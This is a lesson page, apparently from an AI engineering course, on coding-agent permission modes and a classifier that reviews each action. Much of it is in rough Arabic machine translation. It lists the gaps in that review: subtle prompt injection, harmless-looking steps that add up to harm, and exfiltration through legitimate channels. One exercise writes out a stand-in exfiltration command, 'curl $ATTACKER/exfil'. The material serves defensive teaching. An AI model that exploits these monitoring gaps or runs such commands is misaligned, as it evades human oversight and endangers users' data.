طرق الإذن للوكلاء المستقلين
autoوضع الإذن يحل محل الموافقة على كل إجراء بنموذج تصنيف منفصل يراجع كل إجراء قبل أن يتم تشغيله ويحجب أي شيء يتجاوز ما طلبه الطلب. يتم تطبيق ميزانيات العمل عبر max_turnsوmax_budget_usd. توافر autoيعتمد على الخطة، وتمكين المنظمة، النموذج، والمقدم و أنثروبيك صراحة أن المصنف لا يكفي وحده.Type: Learn
Languages: Python (stdlib, two-stage classifier simulator)
Prerequisites: Phase 15 · 01 (Long-horizon agents), Phase 15 · 09 (Coding-agent landscape)
Time: ~45 minutes
المشكلة
وكيل التشفير المستقل على جهازك هو فئة أمن متميزة. سطح الهجوم هو كل شيء يمكن للوكيل الوصول إليه نظام الملفات، الشبكة، والإثباتات، واللوحة المقطوعة، أي علامة التبويب المتصفح، أي محطة مفتوحة. بروس شنيير وغيرهم قد أشاروا إلى هذا علنا: وكلاء استخدام الكمبيوتر ليست "تحديث ميزة" من الروبوتات، فهي نوع جديد من الأدوات مع نوع جديد من ملف الخطر.
نظام الإذن لـ (كلود كود) هو إجابة (أنثروبيك) بدلاً من مبدء "متحكم / غير متحكم" واحد ، هناك ستة أوضاع تتجاوز سلم القدرات: خطة → افتراضية → قبول إصدارات → ... → تجاوز الإذن. كل وضع هو توازن مختلف بين السرعة والتحقق من الفعل. وضع السيارات (مارس 2026) يضيف نموذج تصنيف منفصل يزيل الموافقة عن المسار الحرج للمستخدم: فإنه يراجع كل عمل قبل أن يتم تشغيله ويحجب أي شيء يتصاعد خارج الطلب.
السؤال الهندسي: ما الذي يلتقطه هذا النظام، ما الذي يفوته، وما هو النمط الذي تؤدي به مهمة معينة في الواقع؟
المفهوم
الوضع الستة
| Mode | Behavior | When to use |
|---|---|---|
plan | Agent proposes a plan; user approves the whole plan; every action is reviewed before execution | Unfamiliar task; prod-adjacent code; first time using the agent on a repo |
default | Labeled "Manual" in the UI. Agent runs actions; prompts user for any "risky" action (shell exec, destructive operations, network calls) | Most interactive coding sessions |
acceptEdits | File writes auto-approve; shell exec and network calls still prompt | Refactoring pass across many files |
auto | A separate classifier model reviews each action before it runs; blocks anything escalating beyond the request | Long-horizon unattended runs in a constrained workspace |
dontAsk | Never prompts; actions not pre-approved by permission rules are denied | Ephemeral sandboxes, CI jobs, research scripts |
bypassPermissions | Approves everything | Documented as "only inside ephemeral containers you are willing to throw away" |
(الأسماء المذكورة أعلاه تتطابق مع وثائق كود كلوود العامة؛ و علامات UI default"اليدوية".)
الوضع التلقائي في صفحة واحدة
وضع السيارات (الذي تم إطلاقه في 24 مارس 2026) هو أول وضع تصريح للتفويض على موافقة كل عمل على نموذج. الهيكل:
- A separate classifier model.يقوم بمراجعة كل إجراء مقترح قبل أن يتم تشغيله، ويحكم عليه على المهمة المعلنة وحالة الجلسة الحالية، ويحجب أي شيء يتجاوز ما يطلبه الطلب.
- Gated availability.هل
autoويعتمد على الخطة و إمكانيات التنظيم و النموذج و المزود
تُقيم ضوابط الميزانية جنباً إلى جنب مع المصنف:
max_turnsإجمالي التكرارات في جلسة.max_budget_usd-الحد الأقصى للدولار الذي يمنع الجلسة- حدود عدد الإجراءات لكل أداة (لا تزيد عن N
WebFetchمكالمات الخ)
ما يلتقطه النظام
- الحقن المباشر في مدخلات الأداة حيث يتم رسم التعليمات المحققة إلى شكل عمل معروف مخاطر.
- حلقات الأداة المتكررة يمكن للمصنف أن يرى أن الإجراء N+1 هو متطابق تقريبًا مع الإجراء N ، خمس مرات على التوالي.
- واضحة خارج نطاق القاعدة القذيفة في جلسة غيرها من إصدار الملفات فقط.
ما يمكن أن يفوت النظام
- Subtle prompt injectionالتي تقوم بتحكم السلوك دون إنتاج عمل واحد معين. لا يعد حقن الإشارة المباشرة عرضة للشعور بالضعف الذي يمكن تصحيحه بالكامل (قسم إعداد OpenAI، 2025, على وكلاء المتصفحين انظر الدروس 11).
- Semantic-level misbehavior.كل عمل فردي يمكن أن يبدو آمناً بينما المسار المكوّن ضار. يحكم المصنف على العمل؛ فإنه لا يعيد استنتاج نية المستخدم.
- Exfiltration through legitimate channels.كتابة البيانات إلى ملف تملكه، ثم
git pushإعادة التأمين العام، هو سلسلة من الإجراءات المسموح بها التي هي المشكلة.
إطار لمشاهدة البحث
أرسلت (أنثروبيك) وضع السيارات كتحريص مقدم الوثائق واضحة أن المصنف هو طبقة، وليس حل: من المتوقع أن يجمع المستخدمون وضع السيارات مع الميزانيات، والمساعدات، ومناطق العمل المعزولة، ومراجعات المسار (الدرس 1216). يعكس إطار المشاهدة المسبقة أيضًا الفجوة الموثقة بين التقييم مقابل التنفيذ (الدرس 1) يمكن للمصنف الذي يمر بتقييمات خارج الاتصال أن يتصرف بشكل مختلف في جلسة حقيقية حيث يكون سياق المستخدم غامضًا.
حيث يعيش هذا السلم في سير عملك
- مهمة غير مألوفة: البدء في العمل
planقراءة الخطة أرخص من التراجع عن السوء - المُعروف:
acceptEditsيُحفظ الكثير من النقرات التأكيدية. - تشغيل خلفية غير مرصدة:
autoفقط داخل مساحة عمل قد قيّمت قطرها (لا توثيقات، لا تركيبات إنتاج، لا خروج لم تختار). - الحاويات الفارغة:
dontAsk- لا ، لاbypassPermissionsالمقبول إذا كانت الحاوية وذات الأوثاق القابلة للتصرف
استخدمها
code/main.pyيحتاكي تصنيف مراجعة العمل كخط أنابيب مزدوجة تبسيط التدريس؛autoيتم دعم النظام بواسطة نموذج تصنيف منفصل ، وليس عقد مكتوب من مرحلتين. مرحلة 1 هي قاعدة كلمة رئيسية رخيصة على الإجراءات المقترحة. مرحلة 2 هي مراجعة متعددة القواعد البطيئة. يقوم السائق بتغذية مسار اصطناعي قصير (إجراءات آمنة ، محاولة حقن سريعة ، حلقة متكررة) ويعرض أين يلتقط المصنف وأين يخطأ.
أرسله
outputs/skill-permission-mode-picker.mdيطابق وصف المهمة مع وضع الإذن الصحيح، والحد الأقصى للميزانية، والعزل المطلوب.
التمارين
- أركض
code/main.pyأي نوع من النوعات الاصطناعية لا يتم إشارة به أبداً من قبل المرحلة الأولى ولكن دائماً يتم القبض عليه من قبل المرحلة الثانية؟
- تمديد قاعدة المرحلة 1 التي تعيينها لالتقاط شكل معين معروف سيء (مثل:
curl $ATTACKER/exfil) قياس معدل الإيجابية الخاطئة على عينة العمل الخير.
- اقرأ وثيقة "كيف يعمل حلقة الوكيل" من "أنثروبيك" قم بإدراج كل حالة خارجية يلمسها الوكيل بشكل افتراضي في
defaultأيّة ستحتاج إلى البوابة بشكل منفصل قبل التشغيلautoبدون مراقبة؟
- تصميم ميزانية 24 ساعة بدون مراقبة:
max_turns،max_budget_usd، كوبات لكل أداة، وسموحات، وبرر كل رقم
- وصف مسار واحد حيث يتم موافقة كل عمل فردي من قبل المصنف، ومع ذلك السلوك المكوّن غير متسلسل. (تغطي الدروس 14 كيفية حل هذه المسألة من خلال مفاتيح القتل والرموز القناري).
الشروط الرئيسية
| Term | What people say | What it actually means |
|---|---|---|
| Permission mode | "How much the agent can do" | One of six named policies controlling per-action approval |
| plan mode | "Ask before anything" | Agent writes a plan; user approves before execution |
| acceptEdits | "Let it write files" | File writes auto-approve; shell exec still prompts |
| auto | "Auto approvals" | Separate classifier model reviews each action; blocks escalation beyond the request |
| bypassPermissions | "Full YOLO" | Approves everything; intended for ephemeral containers |
| Stage 1 (simulator) | "Fast keyword check" | Cheap rule over proposed actions in code/main.py |
| Stage 2 (simulator) | "Deep review" | Slower multi-rule reviewer for flagged actions in code/main.py |
| Research preview | "Not GA" | Anthropic framing for features whose failure mode is still being mapped |
المزيد من القراءة
- Anthropic — How the agent loop works أنماط الإذن، الميزانيات، شكل العمل.
- Anthropic — Claude Managed Agents overview نموذج تنفيذ الخدمات المدارة.
- Anthropic — Claude Code product page إعلان سطح الميزات والوضع السريع.
- Anthropic — Claude's Constitution (January 2026) الطبقة القائمة على العقل التي تشكل أحكام المصنف.
- Anthropic — Measuring agent autonomy in practice منظور داخلي لتصميم الإذن طويل الأفق.
This free lesson is part of the AI Engineering from Scratch curriculum. Read the full explanation, run the lesson code, and verify the result in the interactive reader or from the repository source.
Browse the complete course catalog or open this lesson on GitHub.